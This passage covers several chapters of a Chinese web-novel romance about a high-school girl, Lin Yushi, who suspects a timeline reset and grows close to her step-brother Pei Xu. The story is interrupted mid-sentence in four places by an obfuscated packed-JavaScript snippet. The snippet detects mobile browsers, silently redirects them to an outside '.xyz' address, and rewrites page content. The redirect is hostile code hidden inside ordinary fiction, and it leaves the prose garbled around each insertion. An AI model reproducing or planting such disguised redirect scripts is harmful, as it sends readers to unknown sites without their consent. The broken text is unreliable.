在时间线重置以前,她也搬了家,她的母亲也告诉了她正在恋爱的事情。只是现在的她,想不起来母亲再婚后所发生的某些事情。她在想,这些记忆,或许也包含在了那段暂时还想不起来的空白之中。 如果说,时间线没有发生重置,所谓的时间线重置之前发生的那些事,只是自己的一场梦。那为何“梦”中发生的一切能和现实重叠在一起,且事情的发展几乎没有出现什么改变?这场梦又为什么会出现,她究竟睡了多久,才会梦见一年后自己将会发生的一切? 视线一不小心注意到放在书桌上缠绕得一团乱的有线耳机,像是下定了什么决心一般,林予诗拿起了那团混乱的耳机线,试图一点一点地将它拆开,恢复成它原先能够展开成一条直线的样子。 只是那团耳机线在手中缠绕了许久,怎么都解不开。在心中无奈叹气,林予诗将手中缠绕混乱解不开的有线耳机放在了台灯下。 裴叙送的那个印着小狗图案的杯子也在台灯下面,拿起那个马克杯,林予诗在心中自语:“如果‘他’是你的话,是不是一切就说得通了?猜我喜欢吃芋圆,送给我了喜欢的小狗图案的马克杯,这些凑巧碰在一起,我隐隐约约的直觉时常会让我觉得这不是凑巧。” 再细想一点点,如果备忘录里面的“他”是他的话,自己是不是也能问问他,这些备忘录的来历。这样一来,她也许就能明白,这究竟是时间线重置,还是先前时间线重置之前是梦境而此刻才是真正的现实了。 窗外的树不再摇晃,外面的风应该是停下来了,林予诗起身打开了窗户。一阵风却忽然在她开窗的那个瞬间吹了起来,吹进了她的房间,将她的那本放在台灯下的书翻动,正好翻到了夹着樱花花瓣的那一页。 那时候,林予诗做出了一个决定,今晚按照备忘录上的配方试一试,把做好的柠檬茶递给裴叙,问他喜不喜欢喝。要是他喜欢,他就真的有可能是备忘录里写的那个他。 眼前的幕布上闪过电影的画面,在台词的接续中,101分钟悄然离去。 电影结束的那一秒,眼前放在小桌子上的那瓶调配好的柠檬茶还没有喝完。原以为今晚将要就此结束,没想到林予诗给他将那喝了半杯的柠檬茶重新倒满,说:“我准备的饮料还没有喝完,要不要,再看一部电影再回去睡觉?” 裴叙感到意料之外,不过他愿意留下来继续和她一起看下一部电影。况且,喜欢喝的柠檬茶还没有喝完。刚才故意一直没有喝柠檬茶,现下倒是给了他时间慢慢喝。从看见柠檬茶的那一起,他就在装,装自己不喜欢喝柠檬茶。因为,他担心会扰乱一些不该被扰乱的东西。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664669|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴叙点头说了句好,林予诗立即朝他凑近了一点,将iPad摆在了他的眼前,说:“你来选一部电影。” 接过iPad,裴叙没有犹豫地输入了电影的名字,像是早就在心里想好了似的。 电影开场,林予诗将iPad放回身后的沙发。拿起那杯冰已经融化了一半的柠檬茶,心中却仍然在反复着幕布上电影的名字—— 《今夜,就算这份爱恋从世界上消失》。 在时间线重置之前,她也看过这部电影,而且确定不是自己一个人看的。只是现在的她不记得,自己是在什么时候看的,又是和谁一起看的。 跟着备忘录里的配方做的柠檬茶根本不好喝,尝不到一点甜味,反而还有点苦涩。林予诗有那么一瞬间在心中泛起了怀疑,那个柠檬茶的配方,是不是有人恶搞故意写在她的备忘录里的。 应该不是,她在心里很快地就否认了这种情况。 她也曾试过,最后发现,这些让她感到不明所以的备忘录,是无法删掉的。 再看一眼身旁裴叙前面满杯的柠檬茶,她在心里默默想着,他也许不喜欢喝配方做的柠檬茶呢。这样看来,他就不是备忘录里的“他”了。 第二部电影结束的时候,时钟已经走到了凌晨。两人却仍然没有察觉到有什么困意,不想回房间睡觉。 原本想问他要不要继续看下一部电影,直到看到困意席卷时刻到来的,结果却发现,眼前的柠檬茶已经被喝完了,只剩下了她自己的那一杯。 他是在什么时候喝完的? 林予诗不清楚,只觉得心中像是被有线耳机缠绕了一般,顿时陷入进了一种思绪的混乱。 “看样子,你很喜欢喝这个柠檬茶?”林予诗开始小心翼翼地试探,全然不顾心中那缠绕在一起的有线耳机。 客厅里没有开灯,只有幕布上白色字幕发出来的光线,一切都是沉默在昏暗中的。 春天的夜晚很安静,很难听见声音,连风路过的时候,都不会让人因为风声而察觉。 等待着答案,林予诗的视线没有离开裴叙的眼睛。 而裴叙,此时却像个小狗一样直勾勾地看着她,毫不躲避她的视线。 在投影幕布熄灭前的一秒,裴叙轻轻地说:“还好。” 他的回答很慢很慢,语气中夹杂着些许难以被捕捉到的迟疑。 “那你这么快就喝完了全部的柠檬茶,是不想和我一起再看一部电影吗?”林予诗问的很直接,没有给裴叙一点反应的余地。 房间里没有开灯,看不清楚他的反应,无法知晓他此刻的表情,也就无法通过的眉眼间去猜测他心里的想法。 “没有。”房间里传来了裴叙坚定的回答。 “那是为什么?”林予诗紧追不舍。 “一不小心,没有注意,就喝完了。” “我还以为,你是喜欢我做的柠檬茶。”林予诗在心中认定,裴叙不是备忘录里的那个“他”。 “嗯。这个味道不算太差。”裴叙接话。 些许错综复杂的思绪在心中徘徊,他选择将那些徘徊着的一切悄悄咽进身体。 春天的夜晚喜欢落入悄无声息的瞬间,漆黑的视线中,林予诗没有发现裴叙那小心翼翼的欲言又止。 5. Chapter 05 周一一大早进了学校,裴叙和林予诗在楼梯口就说了再见,没有一起上楼去教室。裴叙说这周的周一演讲是他,所以要先去准备准备。 林予诗点头:“那我们放学见。” 话音落下,只听见身后传来了姜时月叫她名字的声音,林予诗回头,立即冲上前准备抱住四天未见的姜时月。 却不料,不知道是哪个班大早上的拖了地,这会子地板瓷砖还没有完全干,还有点湿滑。林予诗一个没注意,直接栽在了姜时月的怀里。 “诗诗,我知道你很想我,but……”姜时月热切地拥抱着好闺密林予诗同学。 “想你是真的,但是现在,我好像是扭到脚了。”林予诗面色狰狞地看着姜时月,艰难地起身了些许。 “啊!”姜时月神经紧张地感叹了一句。 裴叙那时还未走远,听见林予诗的动静之后,他立即就停在了原地,朝林予诗的方向看了过去。这时候,他已经朝她在的方向走来了。 “怎么了?”裴叙微微低头看向林予诗,“扭到了?” 林予诗轻轻点头:“好像是。” “同学,谢谢你啊,能不能麻烦你帮我把她扶到医务室,如果你现在有时间的话。”姜时月语气焦急。 哪成想下一秒,裴叙直接将林予诗身上的书包给“卸”了下来,交到了姜时月的手上。 姜时月一脸疑问,这裴叙未免也太自来熟和顺手了吧,哪像个冰山系帅哥的样子。差点忘了,他们现在是一家人了,这么熟,倒也正常,不过这也太快了一点吧。 还没等姜时月完全反应过来,裴叙又说:“麻烦你帮她把书包带回教室,我送她去医务室。” 林予诗稍微站直了些许自己的身体,她对裴叙说:“没事,不用,你去准备自己的事情,我可以慢慢走到医务室。” 话语言简意赅,林予诗边说还边给姜时月使了个眼色,让她说说话。 姜时月当然没有误解好闺密的意思,于是她说:“同学你一会还有事哇,那就不耽误你的时间了,谢谢你的好心!” 听见林予诗和姜时月的话,裴叙也不再继续坚持和强求什么,他点了点头,对姜时月说:“麻烦你照顾好她。”接着,他又转头看向林予诗说,“医务室的医生怎么说,记得发消息给我,我事情结束,就来找你。” “没事,不用……” 还没等林予诗额话音落下,只见眼前的裴叙从口袋里拿出了一颗糖。淡黄色的包装纸,让人不难看出这是柠檬味的。 “拿着。一会要是疼的话,可以吃甜的来缓缓。” 忽然不知道从哪吹来了一阵风,吹动了林予诗的头发。她没有在心里犹豫多久,便接下了裴叙递过来的柠檬味棒棒糖,将它放进了自己校服的口袋中。 林予诗:“谢谢。” 裴叙:“谢什么。” 裴叙背着书包转身离开,原地只留下了察觉心跳错拍的林予诗和一脸懵的姜时月。 姜时月凑上来八卦:“我去,这是……?好呀,我不在的这四天,你这发展神速哇。” 林予诗被姜时月的这一连串的反应给逗笑了,她说:“我们慢慢走去医务室吧,路上和你解释。” - “休息一下,我给你开一张两节课的假条,你就在这躺着。”学校医务室里今天当值的医生是位老中医奶奶,现在正在给林予诗开假条。 躺在床上,林予诗闭上了眼睛,打算用这两节课给自己补补觉。姜时月拿着假条走了过来,坐在了一旁的小椅子上,拿着假条扇着风说:“你和裴叙的关系这几天变得这么好了?” 林予诗没有点头或摇头,她说:“我也不清楚是好还是不好,反正,落不到吵架的地步。毕竟,我们名义上和法律上的那种兄妹关系是存在的,这种相处模式,也不算太糟。” 姜时月说:“那就行,只要那个叫裴叙的不欺负就行,他要是哪天对你不好,欺负你,你就和我说,我来给你做主,你到我家来!” 林予诗笑:“呜呜呜,有你真好姜姜!” “那必须的,我跟你说……” 忽如其来的电话铃声打断了林予诗和姜时月的聊天,一通电话结束,林予诗和姜时月说再见。班主任王远瑶让姜时月现在去办公室找她,说是要安排什么事情给她做。 顺道,姜时月把林予诗的假条给带上去了。老中医去了食堂吃早饭,现在,医务室里只剩下了林予诗一人,这倒是个难得的休息时间。 昨天晚上,林予诗睡得并不是很好,她有点失眠。那本短篇改成长篇的小说,推进得并不是很顺利。 这是她第一次尝试写中长篇的青春小说,难免会有点手生的感觉。她也曾安慰过自己,说这是第一次尝试,困难总是有的,不要退缩。可当她打开电脑的word准备码字的时候,那种难以推进的困难感又会泛上她的笔尖,将她的思路一步步地堵塞住,任凭她怎样反反复复地翻看大纲,都无济于事。 她的心中就这样闪过了一阵矛盾的感叹——人有的时候挺会劝说别人和劝说自己的,真到了自己面对的时候,却又难以下手,而后再一次地试着去用原先同样的方式劝说自己,让自己拥有继续下去的勇气。 交稿日期定在了今年暑假结束的时候,编辑说不用写太长,12万字左右就好了。 忽然感觉鼻尖有些许酸疼,林予诗闭上眼揉了揉自己的鼻梁。 太过于无聊,林予诗将口袋里的那颗柠檬味的棒棒糖拿了出来。撕开包装纸的那一瞬间,柠檬糖的清香味就飘散在了空气中。清香味接续在口腔中绽开,林予诗恍然错觉自己被拉回到了镜头模糊无比的很久很久以前。 那时,她上小学三年级,是个初春时节。那天放学,妈妈在加班,是她第一次尝试骑自行车回家。 选了一条车不算太多的骑行路,林予诗一路提心吊胆,最终以“龟速”拐进了小区的小巷子口。只是正当她以为可以松下一口气的时候,前面忽然窜出来了一只白色的小狗。 这可把骑车新手的林予诗给吓了一跳,连忙刹车停下。一个没停稳,重心的不平衡,林予诗摔了一跤。 但她没有叫出声来,虽然摔得有点疼。旁边的不远处就是大马路,林予诗不敢发出突然的声音惊吓到那只小狗,担心它会跑到不安全的马路上。 正看着自己被擦红的小伤口,眼前却忽然落下了一道身影,伴随着一个稚嫩的男声:“Hello. Are you okay?” 林予诗被那声稚嫩的声音吸引,不免地回头看向了身后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664670|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小男孩。外国人?这是林予诗心里对身后的那个小男孩的第一印象反应。 于是,林予诗回答说:“Fine!” “不好意思呀,我家小白不太听话,我没看住,它就跑出来了。”小男孩说,“我来这里旅行,第一次来这,不算太熟,抱歉。” 哦。原来不是外国小男孩。那他为什么第一句话要说英语?刚学的英语?想展示展示? 林予诗没说话,只是在那自顾自地思考。以至于小男孩还拿着手在她的眼前晃了晃,试探她是不是在发呆。 林予诗上前一步,将男孩所说的那只小白给抱了起来,而后又朝小男孩那迈出了一步,将小狗递给了他。 小男孩接过了小狗,将手中的牵引绳重新给它戴上,随后把它放在了地上,他再一次看向林予诗,说:“你受伤了。旁边有家便利店,你等等我。” 林予诗不明所以,但还是接过了小男孩给她递过来的牵引绳。于是,她站在了原地,看着小男孩奔向便利店里的背影,等候着他的回来。 大约一分钟之后,小男孩从便利店里出来了,手里还拿着一条刚买的糖果。 他将糖果举在了林予诗的眼前,说:“你受伤怕疼的话,就吃一颗棒棒糖,吃甜的,也许就不会感觉到太疼了。都给你。对了,我觉得柠檬味的最好吃!” 话音落下,男孩从她手上拿回了小白的牵引绳,接着很顺手地将满怀的棒棒糖递给了她。 林予诗顺势接过棒棒糖,脱口而出了一句“谢谢”,只是没等她说“不用给她这么多棒棒糖”,不远处就有一辆车停了下来。车上的人呼唤着小男孩的小名:“叙叙!要赶飞机啦!” “我要走啦,拜拜。”小男孩说完就笑着牵着小白狗转身离开了。 不知为何,后来,每当遇见疼的时候,林予诗总会想起要去吃一颗柠檬糖。是否真的能够缓解疼痛,她不知道,她只清楚,口腔里的甜味是真实的,是无法被忽视的。 今天裴叙说出那句“一会要是疼的话,可以吃甜的来缓缓”的时候,她的心里闪过了一瞬的惊讶,或者准确一点来说,是一种类似于同频共振忽然出现了的恍惚感。 原来世界上还有人会这么认为。小时候的那段模糊的记忆已经在她心里刻下了烙印,以至于后来,她也在心里认定了“害怕疼就吃棒棒糖”的做法,把它当作了自己的习惯。 从很久很久以前的模糊镜头里抽离,林予诗察觉那颗棒棒糖已经融化了一半了。医务室离操场不算太远,躺在床上,能够清楚地听见外面的声音:“下面有请,本届数学竞赛联赛长宜赛区联考第一名获得者裴叙同学做演讲。” 数学竞赛?获奖?怎么没有听他提起过这个? 斜阳路过窗棂,房间里只剩下了操场上传来的裴叙演讲声音的回荡。 裴叙的声音似乎还挺好听的,也不知道他站在演讲台上演讲的时候,会是什么样的? 独自想着,一不小心点开了手机的录音。林予诗反应过来这一切的时候,裴叙的演讲已经接近了尾声。 林予诗,想什么呢?看向手机上还在继续往后走的时间轴,林予诗按下了暂停—— 你不应该这样的。 你的心跳不应该在这时候出现错拍的轻颤的。 6. Chapter 06 裴叙的演讲结束,操场上想起了热烈的掌声。林予诗盯着手机里的那条裴叙方才演讲的录音,手指悬在空中许久,她迟迟下定不了决心,给那条本来就不该存在的录音按下删除。 再听一遍,就把它删掉吧。 林予诗在心里默默地想。 于是下意识地拿出了耳机,连上了手机,点开了那条录音。 裴叙的声音再次在耳朵里回荡,林予诗闭上了双眼,打算就这样什么都不想地独自发会呆。 “嘎吱——” 就在录音即将结尾的那一瞬间,医务室的门忽然发出了一声声响。只戴了一只耳机的林予诗睁开了眼,看向了医务室门口所在的地方。 下一秒,她听见了一阵熟悉的声音:“林予诗?” “裴叙?”林予诗呼唤了说话的人的名字,以示回应,“我在一号床这边,快来帮我拉开这个帘子透透气。” 裴叙走到一号床附近,轻轻地拨开了帘子。见到看上去没什么大事的林予诗,他笑了。下意识地想去揉揉她的头发,却立即止住了自己的手,放回了校服口袋。这是一件此刻不应该也不能够发生的事情,这样做,只会扰乱后面可能会发生的一切。 于是,他立即转换了话题,看向了林予诗戴着的有线耳机,“在听歌?” 耳机里的录音早已经停止,此刻的林予诗才后知后觉手机里停留的界面。好在手机是抓在自己手上的,他看不见上面的东西。但林予诗还是心虚地将手机屏幕按灭,藏在了自己身后的枕头下面。 “嗯。”边放手机边回答了裴叙的话,林予诗此刻正看着他,像是想故意吸引他注意力一样。 裴叙依旧在笑:“哦。” “你要听歌吗?”兴许是想快速转移话题,想让自己心里的那份心虚被打消些许,林予诗“病急乱投医”似的脱口而出了一句邀请。 面对林予诗的这句邀请,裴叙当然不会拒绝,他面带笑容地点点头,说了句好。 那时候,林予诗才意识到,方才说出的这个邀请,好像会让自己的心里变得更加不对劲。她想穿越回半分钟以前,让自己不要说出这句话。 现在只好将计就计,她把另一只耳机递给了裴叙。这样,才能让自己的那种不对劲不会立即就暴露出来。 至少一起听歌时要是出现了那种感觉,自己还能够藏一藏。 打住!林予诗在心中对自己画了一把叉。 你在想什么呢? 请将这些不应该的丢弃在身后。 手迟疑地停留在了半空中,直到裴叙接过了耳机,林予诗才彻底将自己的频率调整回了现实世界。裴叙很注意自己拿耳机时候的动作,他牵着垂下来的耳机线将耳机抽走,全程没有碰到她的手。 从一旁拿了一把小椅子,裴叙乖乖地将耳机戴好,却不敢接着多看旁边的林予诗一眼。 他清楚,她将会放谁的歌。 谁都没有说话,空气里漂浮着安静,只有阳光穿过透明玻璃窗的孤单落下。 前奏响起,心中的答案得到了印证,是孙燕姿的那首《当冬夜渐暖》。 他在思绪中暗暗庆幸,一切都按照原有的轨迹在往前走,未曾改变。 歌词随着旋律在轻轻飘荡,林予诗偷偷抬头,悄悄地看向了一旁的裴叙。裴叙正抬着头看向玻璃窗外操场上的浅蓝色跑道,林予诗留意了他视线的方向,暗自想他余光的偏角应该注意不到她。 脑海中忽地出现了一帧模糊不堪的画面,眼下与裴叙一起听歌的这个瞬间,好像在很久很久之前就发生过了一般,她总有一种似曾相识的感觉。 是错觉吗? 林予诗在心中反反复复地重复着那一帧画面,却未曾想到,越想,那画面就越模糊。以至于到那首《当冬夜渐暖》快要结束的时候,她开始不确定,模糊画面里的人,究竟是不是裴叙。 “想什么呢?” 温柔的声音打破了脑海中混乱的思绪,林予诗转头看向一旁的裴叙,随后摇了摇头,“没想什么。” 裴叙问:“最近是不是没睡好。” 问题和关心来得很突然,完全在林予诗的意料之外,她先是点了点头,而后又摇了摇头。 点头是出于下意识地反应,毕竟最近她因为写小说的事情真的没有睡得很好;而立刻又摇头,却是出于自己心里的徘徊和犹豫。这种徘徊和犹豫似乎也没有原因,也是出于她下意识的反应。 “我知道你没睡好。”裴叙轻声说,“看出来你很疲惫了。不然也不会平地让自己摔一跤。” 林予诗:“……”其实你不说话的时候还挺帅的。 “好了好了,不逗你了。”裴叙看见林予诗的表情,瞬间就软下了性子,不再是一副“犯贱开玩笑”和“看上去很欠”的表情,“你要不在这休息一下?” “嗯。校医给我开了张假条,让我在这休息两节课,我朋友已经帮我把假条给拿上去了。” “行,那你睡吧,我一会叫你。” “你不回班上课?” “我……昨天有两道数学题没想清楚,我正好可以在这一个人好好想想,在教室里人太多了,可能想不明白。”停顿了那么两三秒,裴叙补充说,“你放心,我不是因为你才留下来的,是真的有事情要做。” 人往往会在口是心非的时候变得话多起来,总想用言语去隐藏些什么,好让对方难以发现。 “真的?”林予诗对裴叙的回答并没有起什么疑心,因为现在她很困,几乎快要睡着了。 “真的。”裴叙说,“好啦,嘘,快睡吧,我也要开始想数学题了。” 林予诗点点头,本就被困意侵扰的她闭上了眼,沉入了睡眠里。 没过五分钟,林予诗就睡着了。裴叙正在随身携带的草稿纸上算题,他转头看了一眼旁边床上的林予诗,便放下了手中的笔。 这个林予诗,就这么直接睡了,也不怕着凉。 没有看见四周有什么小被子或者是小毯子,裴叙选择脱下了自己的校服卫衣。这是他今天早上从阳台上新拿的衣服,上面还残留着些许洗衣液的味道。 裴叙轻轻地将校服卫衣盖在了林予诗的身上,而后又坐回小椅子想数学题去了。 不声不响,他怕打扰到她睡觉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664671|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > - 两节课很快就过去,上午第二节课下课铃响的时候,裴叙准时叫醒了林予诗。 林予诗睡的很安静,没有一点声音。这也是个安稳的觉,林予诗没有做梦。也许是符合睡眠周期的规律,林予诗被叫醒的时候,没有想要再睡一会的感觉,她立即就清醒了过来。 为何自己方才看见裴叙,和他说着说着话就有了困意呢? 林予诗不解,疑惑地看向一旁正在收拾草稿纸的裴叙。看着写满数学草稿的白纸,林予诗不禁在心里感叹了一句:不愧是数学竞赛第一,数学思维就是活跃。 依旧是那个问题,林予诗想,未必,是裴叙长得太助眠了? 诶。不对不对,这是什么想法…… “没睡醒?”裴叙看着林予诗睡眼朦胧“呆呆”的样子,真的很想笑,但又怕自己挨林予诗的揍,所以此时他正压着嘴角,努力地憋着自己的笑意。 “我、睡、醒、了……”林予诗一字一顿地用笃定的语气说。 “哦。”裴叙接话,“数学题我算完了,你也睡醒了。” “所以我们回教室上课吧。”林予诗接话,“一会是什么课来着?” “走班课。”裴叙说,“新的走班课分班课表刚发,你个人课表下一节课是什么课?我帮你去教室里拿书,你直接在那个教室里等我。” “没事,不麻烦你了,我自己回教室去拿。”林予诗谢过裴叙的好意,“你看,我这不走的蛮好的,就是小扭伤而已,没什么大事。” 裴叙点头:“好吧,你小心一点。” 高二选科之后,学校便开启了走班课的模式,学生上课分为行政班和教学班。教学班指的是政治、地理、化学、生物这四个第二门选考科目的走班教学班级,其余科目,则按照历史和物理的不同选择,划分行政班,进行语数英与历史或物理的教学。 林予诗和裴叙两人都是理科生,虽然在不同的班,但选科是一样的,都是物理、化学、政治的组合。 上课铃响起之前五分钟的走廊上很热闹,根据自己的个人课表,和朋友一起结伴去到所选科目的教室准备上课。 看过新的课表,林予诗的这节政治选修课就在自己班的教室,她可以不用动,只需要静等老师上课就可以。同桌姜时月这节课是化学选修,教室则是安排在了隔壁班。 很快,上课铃就响了,林予诗和姜时月说了再见。按照走班选修课的惯例,林予诗作为本教室的学生,座位可以不用动,在走班课的座位表里,她就是在原座位上的。所以现在,她不需要伸着脖子费劲去看一体机上的座位表找位置,她拿出了教材,开始看书再次预习。 一体机上正放着座位表,教室里有点吵闹,大家都在寻找着自己的座位。 林予诗低头看书,全然不顾周围发生的一切。 直到,一颗柠檬味的棒棒糖忽然出现在了她的视线里的桌上,一个熟悉的声音在她的耳边响起:“你好呀,新同桌。” 她把手上的笔放在了书上,而后下意识地看向声音传来的方向。 不可避免的,她碰上了裴叙的视线。 7. Chapter 07 “和裴叙做同桌是一种什么样的感受哇,我们的诗诗同学。”隔天第二次新调整的走班课下课之后,姜时月马不停蹄地从别的班赶了回来,就是为了来八卦一下好姐妹林予诗同学。 林予诗假装思考,而后冷冰冰地丢出了一句:“没什么特别的感受,就很正常呀。” “真的吗?”姜时月显然不太相信林予诗说的话,“你对我还瞒着什么,见外了见外了,看来呀,这几天不在学校,我们之间的姐妹情谊淡了,没爱了。”姜时月边说还边做出了一副难过伤心的表情,甚至在话音落下的时候,还发出了“呜呜呜”的委屈声。 见状,林予诗拍了拍姜时月的后背,安慰说:“没有呀,怎么可能,就问你,世界上有谁能够拆散我们俩。” 闻言,姜时月收起了脸上的表情,她看了一眼四周,而后凑到了林予诗的耳边:“我的好姐妹诗诗呀,你是不是忘了些什么呀?” 林予诗不明所以,转头看向正凑在自己耳边的姜时月:“忘了什么?” “还装。” “拜托,姜姜,我是真的忘记了。”林予诗双手合十,满眼求饶的神色,“你告诉我呗。” “你呀,真是被半个月前的突然晕倒给弄糊涂了。”姜时月说,“你难道忘了你之前暗恋裴叙的这件事情了?” 林予诗先是以为自己听错了:“嗯?” 而后是确认自己没听错之后在心底感受到了一阵震惊与错愕:“啊?!” 她像半分钟前姜时月确认周围没有其他人的那样看了看四周,而后凑到了姜时月的耳边:“你是说,我之前暗恋裴叙?” “嗯。”姜时月与林予诗说着悄悄话,“你高一的时候亲口和我说的,说这是你心底的秘密,天知地知,你知我知,没有第三个人知道。” “啊?”林予诗在脑海中检索着记忆碎片,但无论她怎样反复地搜索,都始终找不到关于自己喜欢裴叙的这件事的有关片段,哪怕是一个模模糊糊的镜头都没有。 课间的教室吵吵闹闹,此刻的林予诗却完全屏蔽掉了周围的所有声音,陷入进了自己的频率中。 该不会……自己暗恋裴叙的这件事,是发生在时间线重置之前的事情? 不对不对。林予诗在心中摇了摇头,此刻的她还没确认,到底是时间线重置自己回到了过去,还是那所谓的时间线重置只是自己的一场梦而已。 姜时月呼唤她名字的声音让她重新察觉到了周围的声音,林予诗忽然转头看向姜时月,用着焦急的语气问:“你刚刚说,我半个月前忽然晕倒了?” “嗯,好像是因为低血糖。”姜时月点头,“王老师让你在家休息,我去你家给你送吃的的时候,你精神状态也很一般。这些你还记得吗?” 不记得。 脑海中没有一点印象了。 林予诗微微皱眉,条件反应似的点点头:“想起来了。” 怎么会? 一次因为低血糖的晕倒就让自己忘记了这么多事情? “那你还记得是谁送你出学校回家的吗?”姜时月询问。 “是……?”心中毫无答案,仍然是没有一帧的画面,林予诗的话里满是疑惑和犹豫。 “裴叙。”姜时月说出了答案。 那一瞬间,林予诗脸上的表情以肉眼可见的速度从疑问变成了惊讶:“谁?!” “你没听错。”姜时月说,“那天晚上上第二节晚自习的时候,你说你好困想睡觉,还说让我第三节晚自习下课再叫你起来。后来,晚三的下课铃响了之后,我叫你,你说还想在睡一会,我就在教室里等你。一直等到全班同学都走了,教室里只剩下我们俩的时候,我又叫了你一遍,当时你没反应。恰好这个时候,裴叙路过了我们班的教室后门,他听见了我的声音之后就直接走了进来,问我你怎么了。结果您猜怎么着,他看了看你的脸色,让我摸了摸你的额头,看一看你是不是发烧了。我一摸,你没发烧。而后他确认了一遍的额头温度,什么话都没有说,抱着你就出了教室,期间还不忘叮嘱我,让我记得帮忙拿你的书包。” “然后呢?” 说了一连串话的姜时月停下来喘了一口气,而后喝了一大半杯的水,继续说:“然后你知道他怎么抱的你吗?”姜时月停下来故意卖关子,然后用一种类似于“磕到了”的意味深长的眼神看着林予诗,“公主抱。我的天呐!” 林予诗脑海中不禁浮现出了画面,但不过是背影,且还是清新漫画风的。 林予诗:“……”想什么呢,林予诗同学。 “别人都说裴叙这人寡言少语,冰山系的感觉极强,生人勿近。”姜时月的话语中带着些许分析的意味在里面,“但我总觉得,只要是你们俩遇见,他那冰山属性就跟不存在一样,完全不像是那种寡言少语的男生。” 林予诗的心中也无法确定,裴叙究竟是一个什么样的人。于她而言,和他有关的一切,她还谈不上熟悉和清楚。若是他们之间没有那层继兄妹重组家庭的关系,那此刻的她,应该也不会和他认识,对他可能还会保持着那种暗恋的感觉,或者是已经不暗恋他了,他已经成为了自己漫长青春期里的过往云烟了。 等等!自己之前暗恋他…… 那也就是说,最近因为他而出现的那种心跳错拍的轻颤感,是不是有理由能够解释了? 自己不知道是因为什么原因,遗忘了自己暗恋他的记忆。但遗忘归遗忘,在某些特定的情况下,即使自己脑海里缺失这段记忆,心跳也有可能会在第一时间里做出一种下意识的反应。 换句话来说,反应真实思绪的心跳,从来不会夹杂着谎言。和他有关的那种下意识地心跳错拍轻颤的感觉,是不是就可以用来反证自己先前暗恋裴叙的这件事确实是有的,而自己真的是忘了这件事的呢? 那照这么说…… 自己忽然晕倒,在家休息。于精神状态很糟糕的情况下,大脑陷入进了一片混乱,导致自己频繁做梦。在意识不算太清醒的模糊状态下,梦见了未来可能会发生的事情,且这个梦在她的意识状态里很真实,让她开始分不清楚究竟是梦还是现实,所以才会在醒来的时候错误的认为,是时间线的重置。 如果真的是这样,那一切的一切就说得通了——根本不存在时间线重置的这个说法,那些记忆就是一场梦,一场意识陷入模糊的状态里的一场尤为真实的关于自己未来的梦。 当然,所有的这些都是她自己的推断。 答案究竟是什么,她还不能妄下定论。一切的结果,必须要有证据的支撑,否则就毫无逻辑可言,也就不是正确答案。 “想什么呢?”姜时月见林予诗在一旁没有说话,晃了晃她的肩膀。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664672|172941||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“在想一个问题。”林予诗说,“姜姜,你有没有在某些时候会忽然有一种感觉,觉得眼前的画面或者是正在做的事情,有种似曾相识的感觉?” “有的时候会有吧。”姜时月点头,认真回答,“怎么啦,怎么突然想问这个?” “没有,我总感觉刚刚我们聊天的这一幕好像在哪见过,像是发生过了一般。”林予诗实话实说地解释,刚才的某一个瞬间,她确实是这么感觉的。 “正常啦诗诗,我们经常一起这么坐在教室里面聊天。” “可能吧。” 上课铃在此刻响起,教室里逐渐恢复安静。这节课是数学课,比较耗费脑子,所以大家都不敢怠慢,打起了十二分的精神,开始了专注上课。 将种种疑问先抛在了脑后,林予诗翻开了数学大一轮复习资料。 当你专注在一件事情里的时候,你是察觉不到时间的流逝的。一晃眼,四十分钟的数学课很快就过去了。消耗完两张草稿纸,解完了课上老师留下的压轴题级别难度的大题,看着满满的计算过程和试卷上最后写下的答案,林予诗的心中忽然被一种满足感给填满了。 怪不得裴叙喜欢数学,研究数学竞赛,原来把数学题完完整整地思考完写完,是会有一种很强很强的成就感的!这么一看,往后的日子,对于她这个“数学困难户”而言,算是有继续学下去的动力了! 她还挺喜欢这种成就感的,能够让她有种自己是真的活在这个世界上的感觉。 - 一起吃完午餐,林予诗和姜时月从食堂里出来之后,就按照习惯去了便利店。夏天还没有到来,此时还是春天,所以便利店里还没有上冷饮,全都是热饮或者是温饮。 